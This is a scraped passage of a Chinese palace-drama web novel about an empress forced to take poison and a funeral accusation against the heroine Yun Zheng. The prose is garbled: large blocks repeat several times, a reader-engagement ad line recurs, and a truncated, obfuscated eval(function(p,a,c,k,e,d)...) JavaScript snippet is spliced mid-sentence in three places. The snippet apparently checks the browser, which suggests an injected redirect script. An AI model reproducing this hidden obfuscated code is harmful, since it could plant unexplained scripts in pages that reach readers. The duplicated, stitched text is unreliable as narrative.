叶老将军沉痛不已,“怎么救?你胞兄这些年出生入死,拼死拼活才当上西北军主帅,却因为你的一句话,前功尽弃。” “叶家所有子弟退出朝堂,三代不得出仕。” “三代之后,我们叶家早就沦为平民。” 皇后后悔莫及,“我知道错了,但……” 正说着话,一声巨响,“哐。” 大家吓了一跳,纷纷问道,“这是什么声音?” “哐。”又是一声巨响。 承恩公的脸色大变,“是丧钟。”为谁而敲? 所有人停下来,人,侧耳倾听,暗暗数着数。 一下,两下,三下……整整响了七下。 本朝律,皇帝驾崩,丧钟敲九下,太后薨,是八下,皇后去世,是七下! 皇后眼前一黑,不敢置信,“我好像听错了,怎么可能是七下?” 承恩公呆呆的看着女儿,满眼的心痛。 皇后的眼泪刷的下来了,“父亲,我还活着,皇上怎么能这么对我?” 丧钟一响,昭告天下,她不死也得**。 如此绝情,全然不顾夫妻之情。 叶老将军眼眶通红,“孩子,皇命难违,你……” 话音刚落,几名太监托着托盘进来了。 为首的太监扯着嗓子说道,“奉皇上之命,前来恭送皇后娘娘。” 三个托盘,一个是**,一个是白绫,一个是毒酒。 “您选一个吧。” 皇后崩溃了,她一个都不想选,“我要见皇上。” 太监神色淡漠,“皇上不想见您,还请皇后体面的上路吧。” 皇后拼命摇头,“我不。” 太监冷冷的看了她一眼,“那,奴婢送您一程。” 他端起毒酒,一步步逼近。 皇后吓的脸色惨白,大声尖叫,“父亲,救我。” 叶老将军忍不住想上前,却被侄子死死按住。 “伯父,皇上金口玉言,绝不可能更改,多想想叶家其他人吧。” 太监看了过来,语气冷漠,“叶老将军,皇上念在叶家世代忠义的份上,没有满门抄斩是格外开恩了。” 事已至此,皇后咬破了嘴唇,心死如灰,“都住手,本宫自己来。” 她接过毒酒,定定的看着众人。 “愿来生,不再入帝王家。” 说完这话,她神色绝决的举起酒杯一口饮尽,不一会儿,就口吐黑血。 叶老将军闭了闭眼,不忍再看。 “皇后薨。” 此时的众人都没有想到,这只是一个开始。 葬礼上接二连三的出事,将是所有人的噩梦。 期间,朝中百官和百姓们都要为皇后服丧,后宫和官眷都要跪灵,跪足七日,是非常辛苦的。 皇上深深的看了她一眼,她这是要躲懒。 这丫头心眼太多,但胜在,人品好,讲义气,又孝顺。 “只要太后愿意就行。” 坤宁宫,皇后跪在父亲面前苦苦哀求。“父亲,救救我吧。” 叶老将军沉痛不已,“怎么救?你胞兄这些年出生入死,拼死拼活才当上西北军主帅,却因为你的一句话,前功尽弃。” “叶家所有子弟退出朝堂,三代不得出仕。” “三代之后,我们叶家早就沦为平民。” 皇后后悔莫及,“我知道错了,但……” 正说着话,一声巨响,“哐。” 大家吓了一跳,纷纷问道,“这是什么声音?” “哐。”又是一声巨响。 承恩公的脸色大变,“是丧钟。”为谁而敲? 所有人停下来,人,侧耳倾听,暗暗数着数。 一下,两下,三下……整整响了七下。 本朝律,皇帝驾崩,丧钟敲九下,太后薨,是八下,皇后去世,是七下! 皇后眼前一黑,不敢置信,“我好像听错了,怎么可能是七下?” 承恩公呆呆的看着女儿,满眼的心痛。 皇后的眼泪刷的下来了,“父亲,我还活着,皇上怎么能这么对我?” 丧钟一响,昭告天下,她不死也得**。 如此绝情,全然不顾夫妻之情。 叶老将军眼眶通红,“孩子,皇命难违,你……” 话音刚落,几名太监托着托盘进来了。 为首的太监扯着嗓子说道,“奉皇上之命,前来恭送皇后娘娘。” 三个托盘,一个是**,一个是白绫,一个是毒酒。 “您选一个吧。” 皇后崩溃了,她一个都不想选,“我要见皇上。” 太监神色淡漠,“皇上不想见您,还请皇后体面的上路吧。” 皇后拼命摇头,“我不。” 太监冷冷的看了她一眼,“那,奴婢送您一程。” 他端起毒酒,一步步逼近。 皇后吓的脸色惨白,大声尖叫,“父亲,救我。” 叶老将军忍不住想上前,却被侄子死死按住。 “伯父,皇上金口玉言,绝不可能更改,多想想叶家其他人吧。” 太监看了过来,语气冷漠,“叶老将军,皇上念在叶家世代忠义的份上,没有满门抄斩是格外开恩了。” 事已至此,皇后咬破了嘴唇,心死如灰,“都住手,本宫自己来。” 她接过毒酒,定定的看着众人。 “愿来生,不再入帝王家。” 说完这话,她神色绝决的举起酒杯一口饮尽,不一会儿,就口吐黑血。 叶老将军闭了闭眼,不忍再看。 “皇后薨。” 此时的众人都没有想到,这只是一个开始。 葬礼上接二连三的出事,将是所有人的噩梦。 期间,朝中百官和百姓们都要为皇后服丧,后宫和官眷都要跪灵,跪足七日,是非常辛苦的。 皇上深深的看了她一眼,她这是要躲懒。 这丫头心眼太多,但胜在,人品好,讲义气,又孝顺。 “只要太后愿意就行。” 坤宁宫,皇后跪在父亲面前苦苦哀求。“父亲,救救我吧。” 叶老将军沉痛不已,“怎么救?你胞兄这些年出生入死,拼死拼活才当上西北军主帅,却因为你的一句话,前功尽弃。” “叶家所有子弟退出朝堂,三代不得出仕。” “三代之后,我们叶家早就沦为平民。” 皇后后悔莫及,“我知道错了,但……” 正说着话,一声巨响,“哐。” 大家吓了一跳,纷纷问道,“这是什么声音?” “哐。”又是一声巨响。 承恩公的脸色大变,“是丧钟。”为谁而敲? 所有人停下来,人,侧耳倾听,暗暗数着数。 一下,两下,三下……整整响了七下。 本朝律,皇帝驾崩,丧钟敲九下,太后薨,是八下,皇后去世,是七下! 皇后眼前一黑,不敢置信,“我好像听错了,怎么可能是七下?” 承恩公呆呆的看着女儿,满眼的心痛。 皇后的眼泪刷的下来了,“父亲,我还活着,皇上怎么能这么对我?” 丧钟一响,昭告天下,她不死也得**。 如此绝情,全然不顾夫妻之情。 叶老将军眼眶通红,“孩子,皇命难违,你……” 话音刚落,几名太监托着托盘进来了。 为首的太监扯着嗓子说道,“奉皇上之命,前来恭送皇后娘娘。” 三个托盘,一个是**,一个是白绫,一个是毒酒。 “您选一个吧。” 皇后崩溃了,她一个都不想选,“我要见皇上。” 太监神色淡漠,“皇上不想见您,还请皇后体面的上路吧。” 皇后拼命摇头,“我不。” 太监冷冷的看了她一眼,“那,奴婢送您一程。” 他端起毒酒,一步步逼近。 皇后吓的脸色惨白,大声尖叫,“父亲,救我。” 叶老将军忍不住想上前,却被侄子死死按住。 “伯父,皇上金口玉言,绝不可能更改,多想想叶家其他人吧。” 太监看了过来,语气冷漠,“叶老将军,皇上念在叶家世代忠义的份上,没有满门抄斩是格外开恩了。” 事已至此,皇后咬破了嘴唇,心死如灰,“都住手,本宫自己来。” 她接过毒酒,定定的看着众人。 “愿来生,不再入帝王家。” 说完这话,她神色绝决的举起酒杯一口饮尽,不一会儿,就口吐黑血。 叶老将军闭了闭眼,不忍再看。 “皇后薨。” 此时的众人都没有想到,这只是一个开始。 葬礼上接二连三的出事,将是所有人的噩梦。 期间,朝中百官和百姓们都要为皇后服丧,后宫和官眷都要跪灵,跪足七日,是非常辛苦的。 皇上深深的看了她一眼,她这是要躲懒。 这丫头心眼太多,但胜在,人品好,讲义气,又孝顺。 “只要太后愿意就行。” 坤宁宫,皇后跪在父亲面前苦苦哀求。“父亲,救救我吧。” 叶老将军沉痛不已,“怎么救?你胞兄这些年出生入死,拼死拼活才当上西北军主帅,却因为你的一句话,前功尽弃。” “叶家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“伯父,皇上金口玉言,绝不可能更改,多想想叶家其他人吧。” 太监看了过来,语气冷漠,“叶老将军,皇上念在叶家世代忠义的份上,没有满门抄斩是格外开恩了。” 事已至此,皇后咬破了嘴唇,心死如灰,“都住手,本宫自己来。” 她接过毒酒,定定的看着众人。 “愿来生,不再入帝王家。” 说完这话,她神色绝决的举起酒杯一口饮尽,不一会儿,就口吐黑血。 叶老将军闭了闭眼,不忍再看。 “皇后薨。” 此时的众人都没有想到,这只是一个开始。 葬礼上接二连三的出事,将是所有人的噩梦。 期间,朝中百官和百姓们都要为皇后服丧,后宫和官眷都要跪灵,跪足七日,是非常辛苦的。 皇上深深的看了她一眼,她这是要躲懒。 这丫头心眼太多,但胜在,人品好,讲义气,又孝顺。 “只要太后愿意就行。” 坤宁宫,皇后跪在父亲面前苦苦哀求。“父亲,救救我吧。” 叶老将军沉痛不已,“怎么救?你胞兄这些年出生入死,拼死拼活才当上西北军主帅,却因为你的一句话,前功尽弃。” “叶家所有子弟退出朝堂,三代不得出仕。” “三代之后,我们叶家早就沦为平民。” 皇后后悔莫及,“我知道错了,但……” 正说着话,一声巨响,“哐。” 大家吓了一跳,纷纷问道,“这是什么声音?” “哐。”又是一声巨响。 承恩公的脸色大变,“是丧钟。”为谁而敲? 所有人停下来,人,侧耳倾听,暗暗数着数。 一下,两下,三下……整整响了七下。 本朝律,皇帝驾崩,丧钟敲九下,太后薨,是八下,皇后去世,是七下! 皇后眼前一黑,不敢置信,“我好像听错了,怎么可能是七下?” 承恩公呆呆的看着女儿,满眼的心痛。 皇后的眼泪刷的下来了,“父亲,我还活着,皇上怎么能这么对我?” 丧钟一响,昭告天下,她不死也得**。 如此绝情,全然不顾夫妻之情。 叶老将军眼眶通红,“孩子,皇命难违,你……” 话音刚落,几名太监托着托盘进来了。 为首的太监扯着嗓子说道,“奉皇上之命,前来恭送皇后娘娘。” 三个托盘,一个是**,一个是白绫,一个是毒酒。 “您选一个吧。” 皇后崩溃了,她一个都不想选,“我要见皇上。” 太监神色淡漠,“皇上不想见您,还请皇后体面的上路吧。” 皇后拼命摇头,“我不。” 太监冷冷的看了她一眼,“那,奴婢送您一程。” 他端起毒酒,一步步逼近。 皇后吓的脸色惨白,大声尖叫,“父亲,救我。” 叶老将军忍不住想上前,却被侄子死死按住。 “伯父,皇上金口玉言,绝不可能更改,多想想叶家其他人吧。” 太监看了过来,语气冷漠,“叶老将军,皇上念在叶家世代忠义的份上,没有满门抄斩是格外开恩了。” 事已至此,皇后咬破了嘴唇,心死如灰,“都住手,本宫自己来。” 她接过毒酒,定定的看着众人。 “愿来生,不再入帝王家。” 说完这话,她神色绝决的举起酒杯一口饮尽,不一会儿,就口吐黑血。 叶老将军闭了闭眼,不忍再看。 “皇后薨。” 此时的众人都没有想到,这只是一个开始。 葬礼上接二连三的出事,将是所有人的噩梦。 期间,朝中百官和百姓们都要为皇后服丧,后宫和官眷都要跪灵,跪足七日,是非常辛苦的。 皇上深深的看了她一眼,她这是要躲懒。 这丫头心眼太多,但胜在,人品好,讲义气,又孝顺。 “只要太后愿意就行。” 坤宁宫,皇后跪在父亲面前苦苦哀求。“父亲,救救我吧。” 叶老将军沉痛不已,“怎么救?你胞兄这些年出生入死,拼死拼活才当上西北军主帅,却因为你的一句话,前功尽弃。” “叶家所有子弟退出朝堂,三代不得出仕。” “三代之后,我们叶家早就沦为平民。” 皇后后悔莫及,“我知道错了,但……” 正说着话,一声巨响,“哐。” 大家吓了一跳,纷纷问道,“这是什么声音?” “哐。”又是一声巨响。 承恩公的脸色大变,“是丧钟。”为谁而敲? 所有人停下来,人,侧耳倾听,暗暗数着数。 一下,两下,三下……整整响了七下。 本朝律,皇帝驾崩,丧钟敲九下,太后薨,是八下,皇后去世,是七下! 皇后眼前一黑,不敢置信,“我好像听错了,怎么可能是七下?” 承恩公呆呆的看着女儿,满眼的心痛。 皇后的眼泪刷的下来了,“父亲,我还活着,皇上怎么能这么对我?” 丧钟一响,昭告天下,她不死也得**。 如此绝情,全然不顾夫妻之情。 叶老将军眼眶通红,“孩子,皇命难违,你……” 话音刚落,几名太监托着托盘进来了。 为首的太监扯着嗓子说道,“奉皇上之命,前来恭送皇后娘娘。” 三个托盘,一个是**,一个是白绫,一个是毒酒。 “您选一个吧。” 皇后崩溃了,她一个都不想选,“我要见皇上。” 太监神色淡漠,“皇上不想见您,还请皇后体面的上路吧。” 皇后拼命摇头,“我不。” 太监冷冷的看了她一眼,“那,奴婢送您一程。” 他端起毒酒,一步步逼近。 皇后吓的脸色惨白,大声尖叫,“父亲,救我。” 叶老将军忍不住想上前,却被侄子死死按住。 “伯父,皇上金口玉言,绝不可能更改,多想想叶家其他人吧。” 太监看了过来,语气冷漠,“叶老将军,皇上念在叶家世代忠义的份上,没有满门抄斩是格外开恩了。” 事已至此,皇后咬破了嘴唇,心死如灰,“都住手,本宫自己来。” 她接过毒酒,定定的看着众人。 “愿来生,不再入帝王家。” 说完这话,她神色绝决的举起酒杯一口饮尽,不一会儿,就口吐黑血。 叶老将军闭了闭眼,不忍再看。 “皇后薨。” 此时的众人都没有想到,这只是一个开始。 葬礼上接二连三的出事,将是所有人的噩梦。 第258章 乱了 皇后薨,大皇子病逝,天下震动。 不管是官员,还是普通百姓换上白色丧衣以示哀悼。 三个月内禁婚嫁,禁止宴乐,不得宰杀牲畜,要守孝。 而此时,宫中设立灵堂,文武百官携家眷去宫中吊唁。 四品以上官员和宗室都要在宫中守灵,男的由宗正带领,女的由宫中惠妃贤妃带领,跪足七日。 从早跪到晚,这些娇生惯养的权贵们受不了这种苦,个个面如菜色,膝盖都肿了。 有人环视四周,惊咦一声,“咦,几位皇子呢?” 按理说,皇后去世,皇子们为嫡母守灵,天经地义。 但,皇子们只是露了个面,守了半个时辰就走了。 这不合规矩。 身后的宫人禀道,“皇子们都陪伴在皇上身边,为皇上排忧解愁。” 众人恍然,“原来如此,皇上痛失妻儿心中悲痛不已,有皇子们相伴,也能替他分担。” 皇子们不在场,大家不好说什么。 这次的事情透着蹊跷,大皇子和皇后忽然暴毙,事先没有半点消息,好奇怪。 里面有什么隐情,大家也不敢多问。 一名官眷看向宗室所待的位置,“几位小公主和江城郡主都在,锦云郡主呢?怎么不见她守灵?” 大家齐刷刷的扫向四周,果然没看到锦云郡主。 宫人轻声解释,“太后身体不适,锦云郡主作为未来的儿媳妇,要在榻前侍疾。” “难怪。” 有人酸溜溜的说道,“没想到她还有这样的造化,从一介商贾之女,摇身一变成了准王妃,也不知她怎么办到的?” “有钱呗。” 一名少女冷哼一声,“浑身铜臭味的女子,睿亲王才不会喜欢呢,也不知太后是怎么想的,居然挑了一个商贾女当儿媳妇。” 语气酸的哟,快要溢出来了。 睿亲王身份尊贵,权势滔天,一人之下万人之上,谁不想要这样的佳婿。 大家千方百计想嫁进睿亲王府,结果被人截胡了! 而且,不是名门千金,而是商贾出身! 纵然如今是郡主,但在他们眼里,依旧是抛头露面,不安份的女子。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 她们是瞧不上的! “可能,是被蒙骗了。” 就在大家窃窃私语时,室内忽然暗了下来。 “啊,怎么回事?灯笼怎么灭了?” “不会有鬼吧。” 烛光亮了,灵堂响起惊恐的尖叫声,“啊啊啊。” 另一边,养心殿,所有皇子都**在这里,每一个皇子身边都有两个太医围着。 皇子们体内的毒还没有解,太医们急的直跳脚,生怕下一个被抄家的是自己。 窗边,几个泥炉正煎着药,鬼医亲自盯着,时不时看看火候。 医正拿着方子走过来,“鬼医,你看看这药方可行?” 鬼医认真看了一遍,拿起毛笔调整了几味药,把药剂量也改了改。 “再试试。” 太医们不停的试药,争分夺秒,留给他们的时间不多了。 “行,我们再研究一下。” 鬼医淡淡的看着忙碌的众人,微微摇头。 太医院的医术不是不行,而是他们太保守了,不敢下猛药,怕承担责任。 隔壁,皇上翻阅着口供,眉头紧皱。 “出手的是前朝余孽?” 暗卫头领应道,“是,宫中有一条秘道通往城外,我们寻迹追了过去,出口是在西山偏僻处,目前已经将进出口管控起来。” 皇上右手紧握成拳,脸色难看到了极点。 “当年开国皇帝在宫中查了无数遍,居然还有漏网之鱼。” 一想到这些年前朝余孽能随意进出宫中,他就不寒而栗。 “立刻清洗宫中,严查各宫,不放过任何蛛丝马迹。” “是。” 皇上想了想,叮嘱道,“不要惊动慈宁宫。” “是。” 皇上实在不放心,“命,睿亲王速速回京。” 只有睿亲王在身边,他才能安心。 “是。” 就在此时,外面传来焦急的声音,“禀皇上,不好了,灵堂出事了。” 皇上皱眉,沉声喝道,“怎么回事?” “**了。” 皇上猛的起身,面如沉水,“走,去看看。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“太后对我恩重如山,我这辈子都会不离不弃,誓死追随。” 云筝随口夸了几句,心思一转,“关嬷嬷,你不是家生子,是孤女?” 第259章 暴风雨前夕 关嬷嬷一脸的惆怅,轻轻叹了一口气,“是,我从小父母双亡,流落街头,是太后收留了我,将我带回家,当成亲妹般照顾。” 一边的李嬷嬷听了,感同身受,她也是从小父母双亡,被无良舅舅卖进宫中。 “大家都不容易,你还算幸运,遇到了太后。” 云筝此次进宫,还带了紫烟,春华,李嬷嬷,还有一个厨娘。 太后没有异议,只说一切凭她的心意来,对此她很是感谢。 她好奇的问道,“您没有亲人了?” 关嬷嬷语气无比坚定,“有,太后就是我唯一的亲人。” 现场一静,李嬷嬷感叹道,“太后遇到你,也是福气。” 几人闲聊了几句,关嬷嬷就告辞了,她还要去服侍太后。 春华忍不住说道,“关嬷嬷对太后忠心耿耿,事事为她着想,真让人钦佩。” 云筝看着关嬷嬷远去的身影,若有所思。 春华没有得到回应,好奇的问道,“主子,您在想什么?” 云筝回过神,摆了摆手,“没事。” 春华将食盒拎过来,打开一看,是四色点心,色彩漂亮,小巧玲珑,让人很有食欲。 “这枣糕还是热的,主子,您快尝尝。” 云筝接过枣糕刚想吃,忽然动作一顿,放到鼻端嗅了嗅,还拿银针戳。 春华见状,忍俊不禁,“您也太小心了,谁还敢在慈宁宫下毒?” 云筝吃亏吃多了,警惕心极强。 她将枣糕放了回去,“小心驶得万年船,也就是七日,忍一忍就过去了。” “把这些点心散给宫人吃吧。” “是。” 李嬷嬷微微颌首,这样是对的,不是怀疑关嬷嬷,而是点心不是她亲手做的,已经转了几道手,谁能保证一定安全? 正值多事之秋,怎么小心都不为过。 她轻声问道,“主子,您明日早膳想吃什么。” 云筝打着吃不惯外面吃食的名义,自备食材和锅碗瓢盆碗筷,还有好几罐小菜和酱料。 还特意带了自家厨娘,做的饭菜最合她的心意。 “国丧期间,不得食用荤腥,就百合绿豆粥和素包子,配五香大头菜和 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 茄鲞。” 李嬷嬷微微点头,“行,先忍七日,吃的清淡些,等回府了再说。” 这是宫中,得谨言慎行,不能被人抓住把柄。 夜深人静,云筝睡的正香,被外面的声音吵醒了。 外面脚步声又快又急,喧哗声不断。 她爬起来,套上披风,带着人走到大门口,顺着门缝看出去。 一队队人马举起火把跑来跑去,气氛极为紧张。 云筝微微蹙眉,看到一个眼熟的身影,立马拉开门走出去。 “立春,出了什么事?” 立春是睿亲王的嫡系,他一直带着人守在慈宁宫外。 “皇上有令,查抄前朝余孽,各宫都在搜检。” 云筝的脸色微变,闹的这么大,事情不小啊。 这皇宫怎么像漏风的,都让前朝余孽摸进来了。 “那,慈宁宫……” 立春安抚道,“慈宁宫不在搜检的名单中,不必惊动太后,您也别担心,我带着人守在外面。” 云筝轻声问道,“今晚没出事吧?” 立春立马如实相告,“灵堂**了,是曾经服侍皇后的大宫女阿月。” 云筝脑海里浮起一张面容,皇后的亲信阿月,没被当场处死吗? “**的?” 立春的表情有些复杂,“撞棺材自尽而亡,说是殉主。” 云筝满眼的迷惑,是怕葬礼后处死她吗?所以提前自我了断? 但她没有再多问,知道的太多,对她没有好处。 第二日,她依旧在慈宁宫待着,陪太后吃一日三餐,其他时间都能自由支配。 太后喜静,大部分时间都待在佛堂,所以,云筝非常自由。 她算算账,做做报表,安排未来的工作日程,闲下来吃吃喝喝,小日子很滋润。 她不去灵堂,也没人来催她,好像都忘了她这个人的存在。 她站在院子里,动动手脚,蹦一蹦,活动一下。 “咚咚。”敲门声响起。 外面传来熟悉的声音,“郡主。” 云筝眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇后和大皇子下葬,满朝文武皆来参加出殡仪式。 云筝一大早醒来,就莫名的不安,心惊肉跳。 怎么回事? 她换上素服,不施脂粉,玉钗束发,简单素雅。 守灵可以不去,但,出殡仪式必须参加。 她简单打理了一下,就到了二进的小花厅,向太后请安。 太后已经起来,一身素衣,看到她露出清浅的笑容。 “摆膳吧。” 碧粳粥,素包子,红豆糕,四道小菜,吃的很简单。 云筝心不在焉的喝着粥,全然没有之前的精神抖擞。 太后看了过来,有些担心,“筝儿,有心事?” 她对这个未来儿媳妇非常满意,嘴甜,会哄人,会撒娇,还识趣。 云筝收回思绪,笑眯眯的说道,“我在想,睿亲王他回来吗?” 太后微微摇头,“估计是赶不上了。” 她挟了一块红豆糕过去,“筝儿,今日的行程很满,也不知何时吃午膳,你多吃点。” 云筝乖巧的点头,“好的,您也多吃点。” 她咬了一口红豆糕,想了想说道,“要不,您别出席了?” 按理说,太后是长辈,身体抱恙,不参加也可以。 但,太后坚持露个面,“就送到宫门口,不费多少精力。” 这是国丧,一生未必有几次,这种场合要露一下面,送一送皇后和大皇子。 她不光是为皇室的体面,也是为了儿子的将来。 满朝文武和宗室都看着呢。 宫中,白压压的一片,身着白色丧服的人分成男女两排,肃穆庄重。 灵堂内,布置的肃穆,两口棺材并排。 灵堂上站满了宗室子弟和四品高官。 皇上站在最前面,神色凝重的看着大皇子的棺材。 丧子之痛在他身上没有留下多少痕迹,除了一双熬红的双眼。 而李贵嫔眼睛红肿,面色蜡黄,憔悴不堪,守在大皇子的棺木旁边,寸步不离。 “太后驾到。” 所有人齐刷刷的起身恭迎。 云筝扶着太后出现在门口,一步一步走进灵堂。 “参见太后。” 太后摆了摆手,“都起来吧。” 她直接吩咐道,“筝儿,替哀家上三柱香。” 她是长辈,又是天底下最尊贵的太后,不能给晚辈上香。 “是。” 一名宫女送上三柱清香,云筝双手接过,神色肃穆的拜了拜,这才将三柱清香插入香炉中。 一路走好。 李贵嫔一直默默看着,眼神冷的可怕。 云筝退回到太后身边,不动声色的看向四周,大家的脸色都不好看,灰扑扑的,一副快要晕过去的样子。 看来,她没来守灵是明智之举。 在场的人都为皇后和大皇子上了香。 时间过的飞快,钦天监扬声道,“皇上,时辰到了,该起灵了。” 皇上深吸一口气,压住翻涌的情绪,“起灵。” 他一声令下,几位皇子和宗室子弟上前抬棺。 刚靠近大皇子的棺木,就被李贵嫔阻止,“住手。” “不许碰我儿子,不许带走他。” 二皇子面露不忍之色,“贵嫔娘娘,请节哀,逝者已矣,别搅了大哥的清静。” 李贵嫔忽然大声怒问,“皇上,这可是你的长子,你怎么忍心他年纪轻轻枉死?” “今日必须给吾儿一个交待,将幕后主使者在吾儿灵前处死,给大皇子陪葬。” 她忽然发难,让众人吓了一跳。 她的胆子好大,居然敢跟皇上吼。 皇上轻轻叹了一口气,最伤心的人就是她了。 同为父母,他最能理解她此时的心情,也多了一份包容。 “这事复杂,以后朕再给你解释。” 前朝余孽已经抓了一批,宫里宫外都清洗了几遍,天牢都关满了。 只等他腾出手来,处置这些人。 李贵嫔眼眶泛红,“我都知道了,皇上,大皇子才是您的亲生儿子,您怎么能袒护恶人?” 袒护恶人?皇上的耐心有限,冷斥道,“一派胡言。” 李贵嫔气怒攻心,“好,我就知道指望不了皇上。” 她轻抚着大 皇子的棺木,面有怨恨,“皇儿,娘会为你报仇的。” 她猛的看向云筝,大声喝道,“云筝,你在灵前自刎吧,我保证不会迁怒云家。” 所有人的目光都看向云筝,震惊,不敢置信,质疑。 云筝一脸的懵逼。她没听错吧? “你什么意思?” 李贵嫔眼中的恨意快要溢出来了,“云筝,你别装了,是你害**大皇子,是你!” 天降一口大黑锅,云筝都气笑了。 “我?” 李贵嫔怒气冲天,“对,就是你害的,这些天你心虚的都躲了起来。” 云筝:……她就是躲懒,不是心虚! 太后脸色微沉,“胡说,哀家身体不适,按理说,你们也该为哀家侍疾,哀家念及国丧,体恤你们辛苦,让云筝一个人代替你们侍疾。“ ”你不但不感恩,还指控她杀了大皇子,恩将仇报。” 李贵嫔一反常态,大声怒喝,“太后,您真的病了?还是在装病?敢不敢当众让太医们瞧瞧?” 全场鸦雀无声,她真的疯了! 皇上勃然大怒,“放肆。” “胆敢对太后无礼,掌嘴。” “啪。”一巴掌下去,不但没有打醒李贵嫔,反而激怒了她。 “皇上,您还是这么偏心,您不在乎你的儿子,但,我在乎!” “我今日就算拼着命不要,也要让害我儿子的人偿命。” 江城郡主看不下去了,她儿子**确实可怜,但,干嘛要拉云筝下水? 她没有主动得罪过任何人。 “你口口声声说云筝害你儿子?你有证据吗?有证人吗?” 李贵嫔冷笑一声,“鬼医是她的人,想害死一个人是轻而易举的事。” 云筝翻了个白眼,她就说嘛,这破地方不能多待。 江城郡主无奈极了,这是无端指控,据她所知,是鬼医救了三位皇子。 “她图什么?” 李贵嫔振振有词,“当然是为了皇位,她想弄死所有皇室子弟,让睿亲王上位。” 云筝实在忍无可忍,“照你这么说,我为什么不当场把所有皇子弄死?还要救他们?留着过年吗?” 李贵嫔心中充满了恨意,为什么别人都活着,就她儿子**? 这不公平! 要死,就一起死。 不光是云筝,所有人都得死! 皇子的棺木,面有怨恨,“皇儿,娘会为你报仇的。” 她猛的看向云筝,大声喝道,“云筝,你在灵前自刎吧,我保证不会迁怒云家。” 所有人的目光都看向云筝,震惊,不敢置信,质疑。 云筝一脸的懵逼。她没听错吧? “你什么意思?” 李贵嫔眼中的恨意快要溢出来了,“云筝,你别装了,是你害**大皇子,是你!” 天降一口大黑锅,云筝都气笑了。 “我?” 李贵嫔怒气冲天,“对,就是你害的,这些天你心虚的都躲了起来。” 云筝:……她就是躲懒,不是心虚! 太后脸色微沉,“胡说,哀家身体不适,按理说,你们也该为哀家侍疾,哀家念及国丧,体恤你们辛苦,让云筝一个人代替你们侍疾。“ ”你不但不感恩,还指控她杀了大皇子,恩将仇报。” 李贵嫔一反常态,大声怒喝,“太后,您真的病了?还是在装病?敢不敢当众让太医们瞧瞧?” 全场鸦雀无声,她真的疯了! 皇上勃然大怒,“放肆。” “胆敢对太后无礼,掌嘴。” “啪。”一巴掌下去,不但没有打醒李贵嫔,反而激怒了她。 “皇上,您还是这么偏心,您不在乎你的儿子,但,我在乎!” “我今日就算拼着命不要,也要让害我儿子的人偿命。” 江城郡主看不下去了,她儿子**确实可怜,但,干嘛要拉云筝下水? 她没有主动得罪过任何人。 “你口口声声说云筝害你儿子?你有证据吗?有证人吗?” 李贵嫔冷笑一声,“鬼医是她的人,想害死一个人是轻而易举的事。” 云筝翻了个白眼,她就说嘛,这破地方不能多待。 江城郡主无奈极了,这是无端指控,据她所知,是鬼医救了三位皇子。 “她图什么?” 李贵嫔振振有词,“当然是为了皇位,她想弄死所有皇室子弟,让睿亲王上位。” 云筝实在忍无可忍,“照你这么说,我为什么不当场把所有皇子弄死?还要救他们?留着过年吗?” 李贵嫔心中充满了恨意,为什么别人都活着,就她儿子**? 这不公平! 要死,就一起死。 不光是云筝,所有人都得死! 皇子的棺木,面有怨恨,“皇儿,娘会为你报仇的。” 她猛的看向云筝,大声喝道,“云筝,你在灵前自刎吧,我保证不会迁怒云家。” 所有人的目光都看向云筝,震惊,不敢置信,质疑。 云筝一脸的懵逼。她没听错吧? “你什么意思?” 李贵嫔眼中的恨意快要溢出来了,“云筝,你别装了,是你害**大皇子,是你!” 天降一口大黑锅,云筝都气笑了。 “我?” 李贵嫔怒气冲天,“对,就是你害的,这些天你心虚的都躲了起来。” 云筝:……她就是躲懒,不是心虚! 太后脸色微沉,“胡说,哀家身体不适,按理说,你们也该为哀家侍疾,哀家念及国丧,体恤你们辛苦,让云筝一个人代替你们侍疾。“ ”你不但不感恩,还指控她杀了大皇子,恩将仇报。” 李贵嫔一反常态,大声怒喝,“太后,您真的病了?还是在装病?敢不敢当众让太医们瞧瞧?” 全场鸦雀无声,她真的疯了! 皇上勃然大怒,“放肆。” “胆敢对太后无礼,掌嘴。” “啪。”一巴掌下去,不但没有打醒李贵嫔,反而激怒了她。 “皇上,您还是这么偏心,您不在乎你的儿子,但,我在乎!” “我今日就算拼着命不要,也要让害我儿子的人偿命。” 江城郡主看不下去了,她儿子**确实可怜,但,干嘛要拉云筝下水? 她没有主动得罪过任何人。 “你口口声声说云筝害你儿子?你有证据吗?有证人吗?” 李贵嫔冷笑一声,“鬼医是她的人,想害死一个人是轻而易举的事。” 云筝翻了个白眼,她就说嘛,这破地方不能多待。 江城郡主无奈极了,这是无端指控,据她所知,是鬼医救了三位皇子。 “她图什么?” 李贵嫔振振有词,“当然是为了皇位,她想弄死所有皇室子弟,让睿亲王上位。” 云筝实在忍无可忍,“照你这么说,我为什么不当场把所有皇子弄死?还要救他们?留着过年吗?” 李贵嫔心中充满了恨意,为什么别人都活着,就她儿子**? 这不公平! 要死,就一起死。 不光是云筝,所有人都得死! 皇子的棺木,面有怨恨,“皇儿,娘会为你报仇的。” 她猛的看向云筝,大声喝道,“云筝,你在灵前自刎吧,我保证不会迁怒云家。” 所有人的目光都看向云筝,震惊,不敢置信,质疑。 云筝一脸的懵逼。她没听错吧? “你什么意思?” 李贵嫔眼中的恨意快要溢出来了,“云筝,你别装了,是你害**大皇子,是你!” 天降一口大黑锅,云筝都气笑了。 “我?” 李贵嫔怒气冲天,“对,就是你害的,这些天你心虚的都躲了起来。” 云筝:……她就是躲懒,不是心虚! 